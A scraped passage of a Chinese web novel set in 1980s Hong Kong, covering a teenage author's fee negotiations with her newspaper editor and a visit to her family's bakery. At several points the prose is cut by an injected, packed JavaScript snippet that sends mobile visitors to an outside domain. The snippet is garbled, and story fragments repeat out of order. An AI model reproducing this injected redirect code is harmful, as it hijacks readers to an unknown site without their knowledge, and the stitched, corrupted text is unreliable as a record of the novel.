难不成有报社会要她剩下的稿子?还得把她已经刊登过的再登一遍?肯定没有啊,她又不是什么知名作者。 一旦出现这种情况,那她早就写完的内容可不就作废了?这才是因小失大。 不过她也没浪费这个机会,以此为借口,让编辑把她的稿费提高了十块。 行吧,新人涨稿费不容易,要不是被挖角严重,她这样的新人哪能一个月就顺利提高稿费啊,也算是运气极好。 这期间夜星晚报还搞了一次聚会,把旗下比较重要的作者都拉来联络感情。 龚子宁也邀请了叶念念,但她不想去。 对一个十六岁的少女来说,充斥着大量三四十岁男性、烟、酒的聚会毫无吸引力。 龚子宁也没强求。 过几天她上门收稿的时候跟叶念念说,有好几个作者看过她的小说想要认识她。 叶念念也回绝了,用的理由也很简单,她年龄小,家里管得严。 龚子宁没觉得意外,对于自己手下的作者,她还是有呵护之心的,只是别人提了,她过来也就顺便带句话而已。 这次她还把一袋子信件交给了叶念念。 网文读者会在文章下面留言,这个时代的报刊读者也会给作者写信,门槛高一些,但也更热情。 叶念念回到房间读信,随便翻开一封信就看到了密密麻麻的小字,几页纸加起来应该能有一千字。 其中不少读者都是来问女主角的。 《寻仙路》十万字已经出现了不少女角色,作为修士,基本上都是男帅女靓,女角色基本上都是仙人之姿,也就是风格有所不同。 这些热情的读者让叶念念忽然间惊出了一身冷汗。 男主修仙还需要女主角? 我都修仙了我还要繁衍吗? 她写那些女性全都是为了故事剧情发展,完全没有和男主发展感情的想法。 她赶忙把后面的稿子也翻了一遍。 穿越文,有女主角,就是原身的妻子,百分之百好老婆,男主坚实的后盾。 灵异文……应该……也算有女主角。 她写灵异文是一个单元一个单元的写,每个单元都是相同的主角不同的故事和不同的女配角男配角,有几个女配角会与主角暧昧,但都没确定关系。 甚至她手上这篇赌石文,作为都市文的一种,她也是给设定了一个白富美傲娇千金作为女主角的。 唯一的遗漏就是《寻仙路》了。 因为这篇修仙文,她是从开头写到结尾根本没想过女主角的事情。 网文里的男频修仙文基本上是两三百万起步,五六百万只够正常标准,这字数对于现在的港城报刊来说有点超标。下笔的时候叶念念也不确定有哪家报社敢收,也不确定自己真的能手写这么多字,所以从写大纲开始就精简了不少内容,把故事压缩到一百来万字。 这是她穿越后写的第一篇文,刚写的时候怎么都不满意,生怕不被这个时代的读者接受,大纲也是改了又改。 以至于在后面,花了整整四年才把这本写完,着实耗费了大量精力。 从现在港城小说的流行方向来说,没有女主角确实有点不应该。 但她也实在不想改了。 现在她交稿编辑也就让她改改句子,这种加入女主角可是要动大纲的,至少重写十万字。 她看着那些读者来信中对已出现女角色的点评,回想了一下她的大纲。 也没必要改。 修仙文男主当然可以没有老婆! 不过剧透是不能剧透的,回信还是要回,叶念念认真看了每一封信,但回复的话大都是标准公式的谢谢支持一类。 寄信是由报社负责。 有一个星期,龚子宁来拿稿子的时候,叶念念把写好的回信也一起交给她。 龚子宁知道这些读者来信的内容,接过回信的时候还笑着跟叶念念说,“你可不要把女主角的名字告诉他们,让他们猜才能有更多人讨论。”现在港城的小说一般都是这样,即便是一夫一妻,男主角也会有不少红颜知己。 叶念念无奈的说:“告诉什么呀,根本没有女主角。” 龚子宁愣住了,重复问道,“没有女主角?” 叶念念点头,道,“你要是愿意也可以把戒指里面的图南尊者看做女主角,他陪主角的时间最长,白天黑夜都在一起,24小时贴身守护。” 龚子宁,“啊?” 叶念念反问,“大纲我不是早就给你看过吗?没有女主角啊,现在人气最高的紫云仙子在主角元婴期左右就会死。” 龚子宁忍不了了,“怎么可以?” 叶念念看着她,像是不太明白她情绪为什么这么激动。 龚子宁长吸了一口气,看着眼前稚嫩的脸庞努力克制自己的情绪,“你怎么能写死紫云仙子?” 叶念念理所当然的说道,“我最开始登仙大会不就写了吗?两三百年才有一人飞升,多少才绝惊艳之人都倒在修仙路上,有的死于寿岁,有的死于天劫,还有死于他人之手,宋晨星是主角,自然能飞升,但其他人都摆脱不了一个死字,无非是早死晚死的区别罢了。” 她摊开手,“所以拿图南尊者当女主就行,毕竟他是唯一能陪宋晨星成仙的人。” 叶念念这个星期已经彻底把女主角的事情想明白,心里已经做好决定。 所以她的语气很坚定。 但龚子宁可不管这些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844195|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只知道一件事情——紫云仙子死掉肯定会让读者不满。如果紫云仙子只是女二,有女主在前面顶着,女二死了也就让人多掉些眼泪。 但现在《寻仙路》可没有女主角!最像女主角的紫云仙子死了,男主角还单身的话,这还不让读者炸了? “你现在给我改,紫云仙子不能死!” 叶念念疑惑问道,“编辑……你不会没认真看我给的大纲吧。” 这个龚子宁的确没认真看。 因为当时跟她对接工作的老编辑说,“那些作者的大纲没多少看的必要,最多十万字后,作者就会写得离题万里,倒不如仔细看看前几万字的正文。” 当时她忽然接收新工作,本来也手忙脚乱,大纲随便看一遍,觉得没什么问题也就没有在意。 她现在回想一下,叶念念交上来的大纲里面的确没有女主角! 她以前不管小说版,业务不熟悉,觉得叶宁宁的稿子写的不错很有吸引力就给过了,她也没去想过小说里面女主角戏份的问题。 发现是自己的问题,龚子宁忽然觉得有点心虚。 叶念念是个小姑娘,还是个新手作者,会出这种问题并不奇怪,如果把这件事情放到报社里说,主编肯定会认为是她的失误。 这是她的失误吗? 确实是。 不过也不是没有弥补的机会。 龚子宁很快就想到了办法,她对叶念念说,“小说没有女主角会损失很大一批读者,把紫云仙子这样的女角色写死也会引发读者的不满。” “你读过勾吴的武侠小说吧” 叶念念点头,勾吴是现在港城最知名的武侠作家之一,写了好几本小说,有大批拥趸。 龚子宁严肃神情,“天海碧霞传连载的时候,女主角诗情失身于反派当时勾吾的编辑不同意,勾吴不交稿,编辑没办法,只能把这部分内容刊登上去,结果引来了大批读者的反对,极端读者甚至跑到报社泼粪,还有人找到勾吴家中,守在门口骂了几天。” 和以后的网络文学不一样,这年头热门作者在小说里写暴雷情节,是真的会被线下真实。 勾吴算是好的,甚至还有被打的。 不过叶念念依然坚持,她是真的不想改文。 她说道,“你不用担心,紫云仙子是死于天地大劫,小说里整个修行界的人死了有七成,主角大半好友、老师、甚至收的弟子都有死在里面的。” 死得多也就不会太在意其中一个。 叶念念怕编辑继续劝就继续说,“这场天地大劫是小说里最重要的一场戏,我从前期就开始铺垫,串联主角的整个成长史,绝对不可能改。” 龚子宁沉默片刻,“稿费给你再加5块?下周就加。” 叶念念说,“改起来太麻烦了。” 龚子宁,“不用大改,紫云仙子受伤昏迷,主角飞升之前才醒过来,别把她写死就行。” 叶念念,“哪怕活着她也不是女主角啊。” 龚子宁,“再加十块,千字六十,这已经是老手的价格了,夜星晚报也就几个作者能拿这个价。不过这个价要主编同意,下个月才能给你。” 叶念念有点动摇,“这……” 要是千字六十,那她可以多拿将近两万稿费,这可不是一笔小数目。而且第一本就这个价,她下一本肯定能更高,说不定真的能谈到八十。 龚子宁,“六十五。” 叶念念,“成交!” 12. 第 12 章 龚子宁在叶家门口惊吓过后总算依靠钞能力解决了女主角的事情。 她只能说还好叶念念年龄小,好忽悠,遇到那些有追求又大牌的作者,让他们改稿可真是要求爹爹告奶奶还不一定成功。 第二天早上她去报社上班,第一件事情就是把《寻仙路》的大纲给翻出来仔细认真的看了一遍。 叶念念大纲改过很多次,最后的终稿骨架丰满,脉络清晰,只看大纲就知道最后的成品会是一篇好文章。 龚子宁看完之后惊觉叶念念的天赋似乎比她想的还厉害。 她干编辑也有十年了,虽然以前不是管小说版面的,但她自己也看过不少小说,知道如果叶念念真的能够按照大纲把整部《寻仙路》写完,绝对会引起不小的反响,现在很多老作者都难以写出这样完成度的作品。 叶念念现在年龄还小,还有很多成长的时间、很多进步的可能,以后说不定真的能为名作家。 龚子宁在工位上琢磨了一会。 小说版面在夜星晚报的地位其实不算很高,夜星晚报主要以八卦为主,小说版面基本上是随大流弄的,报社老板一直比较吝啬,舍不得花钱去请名家来写,没有名家就代表作者都是中流甚至以下的水准,大都是写过几部,作品无功无过的那种,小说版面的作品质量在全港所有报社中毫不起眼。 最近一个月,《寻仙路》的连载让小说版面在读者中的讨论度高了不少,报纸的销量也有了一点小提升。 因为做出了成绩,主编最近暗示正在考虑给她升职涨工资。 龚子宁会直接松口给叶念念千字六十五有很多原因,有寻仙路本身的质量,也有不少外部因素。 最近报社小说版面遇到的问题不少,她作为新编辑去联系另外一名作者交稿的时候被告知现在连载的小说完结后这个作者暂时没时间和夜星晚报合作,因为其他报社已经高价跟他约稿。跟他约稿的编辑龚子宁也熟悉,就是夜星晚报负责他的前编辑。 这个作者已经算是人品不错,至少是把这边写完之后再去给其他报社供稿,也提前一个月跟她说了,给她足够时间找其他作者。 可最近港城报社竞争实在是大,那几个新报社用钱开路,挖了不少人,其中一家还是做小说报的,小说作者直接挖了二十多个,一时之间整个港城小有名气的作者稿费都涨了十块二十块不等。 她如果想在一个月之内找到一份合适的稿件出的价格肯定不会低于六十,甚至有可能要七十八十。 这样算下来,叶念念这个新作者已经很划算,作品好,交稿也多,一个星期两万稿,每天能登将近三千字在作者里面已经是快枪手了。比起报纸上连载的另外三篇小说,更新多写得好的《寻仙路》已经有了成为支柱的苗头 其他三篇小说可都是千字六十左右,《寻仙路》总不能比他们还低吧。 若是平时压压新人稿费没关系,但这个时候压稿费可就是赶人了,她完全有理由说服主编涨稿费。 不过光是涨稿费能把叶念念留在夜星晚报吗? 龚子宁开始思考起这个问题。 她肯定不想让手下最厉害的作者走掉,但要说服主编一直提高稿费也不太现实,她估摸着寻仙路再连载半年,剧情达到最高潮的地方,小说的重要性更明显了,才有可能把稿费提到千字八十,再高可能就要去老板那里申请了。 她没怎么接触过老板,只知道老板对钱很吝啬,他们这些编辑的工资涨得比同行要慢上半年,之所以报社这么多人会被挖,和老板给钱不爽快也有很大关系。 龚子宁不走也是因为她是女性。 在职场上,女性通常会考虑家庭因素,跳槽概率比男性要低,没人挖她自然也就不会走了。 要是老板不答应涨工资涨稿费,那自己能不能带着叶念念跳槽? 龚子宁手下的一个员工踩着点上班了,龚子宁把从叶念念那里拿到的回信给了他让他把这些信给寄出去。 这个员工叫韩伟,是新来的,大约是因为走后门进来的,虽然年轻但已经有了点老油子的散漫。 他翻着回信,对龚子宁说道,“寻仙路还真是受欢迎,上个月的读者才十来个,现在一个星期就有这么多了,昨天拿来的信我还没拆呢。” 读者寄信先寄到报社,按理来说报社应该直接交给作者,但有些时候读者寄的东西太奇怪了,还闹出过几件奇葩案例,所以在征得作者同意后,他们会先拆信再把信件分类还给作者。 韩伟现在就是干这些杂事,他说,“报纸上其他小说就没什么读者来信,不过要我说,那么老套的小说看了都进不去脑子,哪里比得上《寻仙路》啊。” 他忽然抬起头,满脸期许的看向龚子宁,“下次龚编辑你去找苏幕遮收稿的时候能不能带着我一起去啊,我也爱看《寻仙路》,我都到报社工作这么久了,连最喜欢的作者都没见过呢。” 苏幕遮就是叶念念的笔名,取自词牌名,和她前世的笔名不一样。上辈子网文笔名可真难取,无数重名,现在写小说的人少,可就好取多了。 龚子宁对韩伟有点头痛。工作能力一般,效率也低,还是老板亲戚,骂也骂不得,骂了也没用。 她一口气直接回绝,“苏幕遮不喜欢见外人,而且现在挖角的太多,她可是我们小说版面的台柱子,我们要注意保密。” 韩伟有点失望,不过很快他又恢复了心情,因为龚子宁把今天要排版的稿子给准备好了,他能比其他人更快的读到《寻仙路》了。 其实韩伟并非个例,每次龚子宁把寻仙路的稿子拿出来报社就有不少同事想要一睹为快,这部小说的魅力可见一般。 上午九点,夜星晚报的主编终于到了。 主编姓唐,今年五十多岁,干报社这一行已经有接近三十年,是整个报社资历最老的,夜星晚报创刊的时候基本都靠他。 夜星晚报最近的销量没掉,但唐主编最近的日子却不太好过,手下几个得力干将都走了,做事各种不顺,今天早上起来的时候,他又掉了一把头发。 主编脸色不好,但龚子宁还是得汇报工作。 毕竟已经一个来月了,主编的脸色就没好过,她哪有时间专门等他心情好啊,真能等到吗? 龚子宁把一些日常琐事交代完之后,说了给苏幕遮涨稿费的事情。 她当然不会说是自己为了让苏幕遮改女主角的死亡结局加的钱,而是先说起那个要完结的老作者,又说起已经离职的那位编辑,最后才说把编辑挖走的那家报社也去挖了苏幕遮,报价七十。 现在他们可不能失去苏幕遮,她一激动就说要给苏幕遮涨稿费,绝对不低于其他报社,苏幕遮才答应在夜星晚报继续连载。 最近这种事情太多,唐主编已经有点麻木,简单的对龚子宁训斥了两句,说她不该随便就把价格加到这么高,但没怎么反驳的就通过了涨稿费这件事情。 龚子宁意识到夜星晚报最近的压力可能真的有点大。 她报千字七十本来是想多点讨价还价的空间,好来证明自己的能力,没想到唐主编居然直接通过了。 有点厉害。 她忽然想起了这几天报社的一个流言——有老板要挖唐主编。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龚子宁不解,“那你怎么开始还不让我给她过稿?”万一错过了怎么办? 唐主编道,“我本来是想让她投文嘉的。” 文嘉报也是港城的一家老牌报社,销量很高,但给作者的稿费不高,有些作者为了成名还是会去投文嘉。 唐主编说,“她天赋很好,可还在上学,文嘉每天交稿一千字就可以。文嘉的编辑也更专业,从文嘉起步,对她的发展会更好。” 大约搞文字工作的人总会有些文青情怀吧。 唐主编就是从文嘉出来的,他觉得投稿文嘉更有利于叶念念的长远发展。 文嘉的作者和其他小报的作者可不是一个分量。 “我当时同意你给她过稿,是因为文嘉那边拒了她的稿,我已经搞不清楚文嘉现在的主编到底在想什么。”唐主编喝了口茶,“现在整个港城的报刊杂事都在变化,而且这样的变化不会是一个月两个月,应该会持续一年两年,我们夜星晚报也需要进步。” “以前我们没往小说方向发展,现在加大力度把苏幕遮的两篇小说推出去,吸引小说读者,我会亲自去找几个有交情的老作者约小说稿。” “我已经老了,本来打算过几年就退休的,现在看来一时半会是退不下来。” “子宁啊,你最近的工作做得很好,继续。” “这场大浪之下,夜星到底能不能走下去可就靠你这样还在坚守的老员工了。” 唐主编的一番话让龚子宁心潮澎湃,“会的,我会努力。” 13. 第 13 章 叶念念自然知道港城最近报刊杂志火热,只是她没想到这一波居然是这么大的利好。 刚刚听到编辑要那篇灵异文稿子的时候,她是拒绝的。 《寻仙路》才刚发表呢,她稿费还有上涨空间怎么能就把文给发出去? 但是编辑说给一百啊。 千字一百! 港城有名气的作者才能拿到这个价位,她一个新人中的新人居然就行了。 后世的网文套路真的这么厉害?还是自己十年网文终于成神穿越到纸媒时代开始大展身手? 她很难相信。 虽然上辈子她网文写的不错,也有过几篇小火出版的文,但她总觉得报纸连载更神圣一些,七八十年代小说的质量也会更高。 但实际上,五十年前不出名的作品根本没人在意,只有足够经典的才会流传,她看到过的那些本就是优中选优,在时代浪潮之中更多的还是那些平庸之作。 叶念念现在的水平距离知名作家还有很大差距,但她也有很多优点,写作通俗易懂,题材有新意,节奏明快,只从通俗小说这个类别来说,她已经有了受欢迎的基础。 高昂的稿费让叶念念心生怀疑。 这是港城,骗子可不少,虽然夜星晚报是她认真筛选过的有些口碑没出过什么幺蛾子的一家,但对这种天上掉馅饼的事情,她的第一反应还是怀疑。 问就是国家反诈APP教给她的谨慎! 龚子宁面对叶念念怀疑的目光有点无奈,不愧是家里开麻将馆的,警惕性可不小,应该是见多了那些乱七八糟的手段吧。 她说道,“是唐主编让我来找你约稿的,你认识他?” 唐主编啊! 叶念念的确认识。 她读小学的时候所在小学举办了一次作文比赛,为了彰显权威就找了一些文化人士作评委,其中就有唐主编。那次作文比赛,叶念念拿的是第一名,颁奖之后,她特地到后台找到了唐主编,说自己给夜星晚报投过稿。 叶念念自然是为了拉关系,这年头报社都这样,普通的稿子还行,长篇连载更愿意接受熟人的稿子,她为了以后投稿小说,早早就做了准备。 年龄小有个好处就是,她明明功利心很强,但她带稿子上门求指导一般人都不会觉得冒犯,即使自身工作忙没什么时间但看着她这个长相可爱有礼貌的孩子,都会鼓励两句,然后装模作样随便看几页来应付她。 唐主编是她遇到的仅有几个能认真看稿的人之一,也肯定了她的天赋,只是依然残忍的拒了她的稿,让她去别家投稿。 叶念念在内心很感激唐主编对她的指点,但改投这事就算了。 那可是文嘉! 港城最有名的杂志之一,也是最少要小说稿,基本只会上名家的文嘉啊!以过稿严、爱改稿、稿费低、格调高闻名! 其实她也投过文嘉,用的是她自认为写的最好也最有‘内涵’的灵异文,迎来的只是一份公式化措辞的退稿信。 一般而言这种退稿信说明审稿的编辑只看过开头几行就认为稿子没有认真阅读的必要。 所以叶念念也就绝了投文嘉系报刊杂志的心。 不是她不想高雅些,事实证明她的小说只适合那些打发时间的市井刊物。 因为原本就没抱多大希望,她虽有遗憾倒也还能适应。 她换了修仙小说给投给夜星。 其实她对夜星过稿的希望也不高,只是她那段时间读夜星晚报看到小说栏目里面有两部小说都有完结的迹象,虽然不知道夜星有没有准备好接档的连载,但感觉几率会大一些就首先投了夜星。 没想到运气不错,以前主要负责影视版面的老熟人龚小姐接手了小说业务,顺带着把她的小说稿也给过了。 更没想到,她稿费居然能够迎来一波三连涨,让她怀疑自己是不是在做梦。 叶念念抿了抿唇,“我认识唐主编,以前向他请教过,是他答应给的千字一百稿费?” 龚子宁点点头,然后露出笑容,“主编很看好你,觉得你很有写小说的天赋,假以时日一定能够成为小说界的明日之星。最近报社的小说版面被连劫了两份稿,主编想起以前你给的那份稿子,觉得特别好,希望你能再上一份连载。” 龚子宁很体贴的说,“虽然你交稿一向很准时,但等你开学毕竟要以学业为重。”学习普通的作者也就算了,这个可是在拔萃都能拿第一的好学生,家里也有钱,她可不敢劝着让她为了赚钱放弃学业。 “《寻仙路》才刚开始步入正轨,再写另外一部压力太大了,我还想帮你回绝。” 龚子宁道,“可是主编说给一百的稿费啊,这是例外中的例外,他很看好你。” “还有就是……”龚子宁瞄了一眼叶念念,“唐主编说你那篇写鬼的小说有挺多存稿的,而且是系列小说,每个故事独立成篇随时可以停。” 说到这里龚子宁心里隐隐有点不爽,怎么自己这个责编对手下的作者了解还不如主编多?她根本不知道叶念念还写了其他小说! 叶念念倒是没觉得这是唐主编看重她。 她上辈子是个牛马,对涨工资的猜测没那么阳光。她觉得这次的天降馅饼是夜星晚报小说栏目又有小说要完结,报社找不到合适接位的连载,这才想起了以前投稿过另一篇的自己。 给的价格高是因为要稿子要得急,只要报社缓过来找到新的连载,就可能把自己这篇停掉,甚至是等自己更新来不及主动停。 如果真的是这样的话,那自己要不要答应呢? 叶念念认真的思考起来。 很快,她就做了决定。 答应啊,为什么不答应,这不是一个提高自己作者身价的好机会吗?管它到底是因为什么原因拿到的千字一百,只要真的是千字一百,那以后其他报社还敢给她千字六十的中等价位吗?至少千字八十! 而且她那部灵异小说单元回的设定的确是停了也不影响,只要确定版权在自己身上,下个单元换一家报社也没关系。 她打起十分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴钱的爷爷奶奶虽然死了但灵魂仍然在,为了让当时才三岁的吴钱顺利长大,就指挥吴钱找到了他的妈妈的妹妹,也就是他的小姨妈。 吴钱的姨妈是个大美人可惜脑袋不太聪明,是个恋爱脑,已经离婚过三次了,不过好在姨妈心眼挺好的,虽然吴钱挺影响她生活的,她也依然愿意带着吴钱一起嫁人。 吴钱在爷爷奶奶的指导下,一直学习天师道的道法,偶尔帮着偷偷处理一些家里的‘小问题’,一直等到他十六岁,这一年他上了高中,而他的高中原本是一座坟山—— 故事就是这样开始的。 主线是吴钱找爸妈,大结局镇压鬼王,日常就是打怪升级故事。 这篇小说有惊悚元素,但也有喜剧元素。 吴钱经常倒霉,身上存不住钱,鬼魂爷爷奶奶经常吵架但又时不时秀恩爱。小姨妈是个笨蛋,吴钱经常得偷偷处理小姨妈烂桃花带来的麻烦。吴钱自己也是个俗人,没有钱就特别爱钱。 叶念念也会插入一些后世的梗,“爷奶是真爱,我爹是意外”“我怕什么鬼?我就是个穷鬼!”“这家伙加班的怨气怎么比鬼还重?”让整篇小说的搞笑度猛增。 龚子宁把稿子拿回家,本来只是在家里翻翻看,没想到笑得根本停不下来。 14. 第 14 章 龚子宁觉得叶念念这部新拿出来的《穷鬼天师》一定会比《寻仙路》更受欢迎。 寻仙路作为修仙文虽然爽快,但毕竟不如以现代港城社会为背景的穷鬼天师更贴近普通人的生活,作为主角宋晨星果断勇敢,但贪财没钱的吴钱更令人印象深刻。 而且除了搞笑元素之外,穷鬼天师也不乏温情片段,寻常人死后投胎,只有心怀不甘的魂魄才会滞留人间,每一个鬼魂都是一段故事。 龚子宁最开始读还是哈哈大笑的,但等到这一篇结束,见到吴钱终于帮着想回家的小女孩鬼魂找到那个已经早就不需要她的家,而最后结局是小女孩把刻意杀死她的父母以及还未出世的弟弟一起拉入地狱,一家人永远在一起,她已经笑不出来,心中只有怅然。 有笑有泪,有血有肉,有骨有魂。 这是龚子宁给的评价。 她相信这部小说一定能够大火。 也难怪唐主编会给出千字一百的高价,这份稿件的确值这个价格。 单纯以资历论稿费那是对待普通作者的方式,对待一些天才型的作者,放松要求才是常态,他们这些编辑已经能够隐约看到苏幕遮未来的高度,怎么能不结个善缘,给些优待呢? 原本的版面还有三个星期才能空出来,但是唐主编大手一挥直接协调其他栏目挤出了半页的空位,这页还没放广告,直接填上了密密麻麻的九千字,标题也特意用大号加粗,显眼得不行,一看就是在力推。 然而即便如此,才刚入行一个来月的韩伟也在遗憾居然没把这个故事完整的放上去。 他在龚子宁面前口无遮拦的嚷嚷,“苏幕遮写得好啊,只刊这一点那些读者看到可不得急死?” 龚子宁很干脆的无视了他。 唐主编又约来了两份小说,质量虽然比不上苏幕遮,但也都是中上层的作品,好好运作的话能给他们报纸增加很多新的小说读者。 她现在负责小说版面,这就是她的巨大机会,她可不得好好抓住了! 夜星报社的种种,叶念念并不知道。 同时交两份稿子很难,可她有几百万字的存稿呀,这两篇开始已经写完了的,完全不是个事。 她心里关注的也就是大涨之后的稿费,如果都按照千字一百来算,光是她的存稿就能给她带来四十来万的收入,还不包括出版影视版权。 保守来说的话,她应该能拿到四十万左右。 香港号称富人的天堂,有一个很重要的点就是税收低,最高税率不超过17%,还有各种优惠减免政策,她要交的税不多,收入能拿到绝大部分。 如果她把这部分收入全部投资黄金,十年后差不多能赚到一千万,八零年的一千万港币是多少? 八零年的时候,一幅寄萍老人的画作在港城不过五六万港币就能买到,在后世则需要上亿。 八零年首都一座普通的四合院也是几万块的价格,五十年之后也是千万起步。 如此算来,投资港城的房地产都算是回报率低的项目了。 这是一笔已经能够让叶念念躺平的数目了,只要想到,她的心就比任何恋爱都要甜蜜。 她心情愉悦,状态也是前所未有的好。 她写的那是小说吗?那是一栋栋房子,是她未来的美好生活! 干劲十足! 不过很遗憾,她再有干劲,写字的速度还是提不上去,一天写五千字已经是最高效率了,时间再延长她的思维和精力都跟不上。 今天,叶念念状态奇佳,下午两点就写完了今天定下的五千字。 这时候,家里没人,连芳姐都出门了。 她楼上楼下走了一圈,最后决定出门! 放暑假这一个月,她写字写得昏天黑地,除了散步满足一下日常运动量,根本没怎么出去过。 下午的太阳有些毒,她拿好遮阳伞才出门,一到街上,热气就迎面扑来,街边的人大多是坐在店门口的老板,在路上走的就没几个。 报摊的李叔吹着电扇,半眯着眼躺在摇椅上,叶念念轻手轻脚的过去。 最近李叔见了她总要跟她说几句《寻仙路》剧情上的事情,她以前网络自闭惯了,不习惯和读者线下,总觉得别扭。尤其李叔这人还有点小毛病,自觉自己看的小说多,总想来指点她。然而那指点也无非是给主角多加些女人,最近刚出现的女角色漂亮要收入后宫这类的,听了还不如不听。 叶念念装乖孩子习惯了,很难拿出凶脸,便只能应付着。 等过了报摊,转头也看不到李叔,叶念念才松口气。 自家的面包房离得不远,她顶着太阳走了十多分钟就到了。 面包店才开张一年,装潢都是新的,墙面洁白,玻璃透亮,店铺里弥漫着小麦的香气和奶油的甜味,哪怕叶念念中午吃得挺饱,进门之后这里的味道依然让她忍不住胃口大开。 面包店前台的员工叫做小善,是个二十岁不到,笑起来有两个酒窝的可爱姑娘,她一看见叶念念便对里面叫,“老板,小姐来了。” 然后她马上倒了一杯果汁迎了上来,对着叶念念说道,“现在外面热,小小姐怎么这个时候过来?没晒着吧,喝杯果汁,我加了冰块的。” 叶念念依然不太适应小姐这个称呼,抿抿唇,略带羞涩的笑起来,“我是过来看看巧妈和翠妈的,她们中午都没来吃饭。” 因为离得不远,孩子在家的时候,巧妈和翠妈都会回来吃饭。 但要是店里有事情她们太忙,就会让芳姐把饭送过去。 翠妈先从后厨出来,后厨有烤箱,温度高,在里面待着非常热,她额头已经有密密麻麻的汗珠。 瞧见叶念念,陈明翠脸上的笑容扩散开来,她打趣道,“我们的大作家今天终于有时间出门了?” 叶念念说,“什么大作家啊,妈,你可别这么说。” “我这不是想你了,就过来看看吗?巧妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844198|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在做事?” 陈明翠点点头,“生意挺好的,早上很多品类的面包都卖完了,现在正在加急做呢,四五点的时候又有一波客人,我们可得准备好。” 小善这时候又端过来一小碟蛋糕,“最近店里的小蛋糕卖得可火了,今天上午就卖光了,还有不少客人预定了下午来拿呢。” 陈明翠笑着,“对啊,这小蛋糕还是你的主意吧,还是你懂,那些年轻小姑娘可喜欢这些造型漂亮的小蛋糕了,经常一起过来买,还有男孩子买来送女朋友的。” 小蛋糕用料不多,价格却不低,利润比店里的其他面包糕点都要高,最近店里的营收情况可是很好,比上个月又涨了不少。 陈明翠道,“就是包装麻烦一些,得我们自己裁剪装好。” 这个时代虽然纸壳和塑料都不难找,但要定制形状,单间面包店的需求还是不够,只能是拿回店里自己粘。 叶念念道,“这个我知道,芳姐在家里都在帮忙做呢。” 她也把小蛋糕端起来。 小小一块三角形的小蛋糕,一层奶油一层蛋糕,中间加了一层红色的草莓果酱,颜色十分漂亮。后世小蛋糕上面常见的樱桃和草莓自然没有,但是巧克力和黄桃摆上去也很可爱。 在后世的蛋糕店里,利润最丰厚的一块就是订做生日蛋糕,港城八十年代中后期开始流行,内地要等更久。 叶念念做生意趋向保守,再加上蛋糕店不大,外卖员都是她哥和几个员工轮流兼职做,所以没搞生日蛋糕,而是先从单块的小蛋糕开始。 她用小叉子挖了一小块,放入口中,奶油绵密顺口,甜味适中,单以口感来说已经不比后世差了。 “就是动物奶油还是太贵。” 陈明翠跟她抱怨起成本问题。 这的确是所有小店需要面对的大问题,她们已经是有固定的供应商了,但这些供应商都是二贩子,自己得吃一道手再卖。 开蛋糕店是叶念念的主意,很多蛋糕也是叶念念想出来的,所以陈明翠平时都会把店里的事情跟叶念念说,叶念念往往还能给出不错的建议。 因为这个缘故,店里还专门给叶念念开了一份工资,工资不算多,也就那么个意思,叶盛鸿和叶怡人都没意见,毕竟他们不管面包店的事情。叶盛鸿要是来打工,他也有一份工资,叶念念这算是在店里当顾问了,有她一份也是应该。 叶念念道,“但用植物奶油口感太差,买得起这些小蛋糕的顾客一般不差这几个钱,却会在意味道。” 巧妈忙着做面包一直没时间出来。 叶念念在蛋糕店待了半个多小时,吃掉了半个小蛋糕和几个新品,肚子都有些撑了。翠妈又端来一杯咖啡,她连忙挥手说不喝了自己要走。陈明翠也觉得蛋糕店实在有点热,便说道想要也买个空调装在店里,打个冷气开放的牌子。 叶念念自然是举双手赞成,不过这不是还没空调吗?所以她还是想早点回家。 15.第 15 章 叶念念的第二篇连载要上报了,她没瞒着,在晚饭的时候宣布了这件事情。 家里人在贺喜的同时也有点担心两篇文同时连载会不会压力太大她写不过来,不过叶念念胸有成竹的表示有!存!稿!两个妈也就放心下来。 叶念念只说自己还要写一篇,没说自己稿费大涨。虽然和家里人感情很好,但她毕竟有上辈子的记忆,心里也想着投资,可不想让人知道她到底能赚多少钱。 先前翠妈问过她稿费的事情,家里人基本上都知道她以前千字四十块的稿费,只要稳定更新,她的收入比起很多港城的普通打工人都要高,不过巧妈和翠妈都没怎么把这钱看在眼里,让她和以前投影评的稿费一样自己收着,她们都很相信叶念念的理财能力,知道她不会随便花。 姐姐叶怡人一向不太在意钱的问题,闷头读书。学医真是苦,即便这个年代的大学并不轻松,可医学生的日子在所有大学生里面依然排的上号的累,永远有看不完的书。 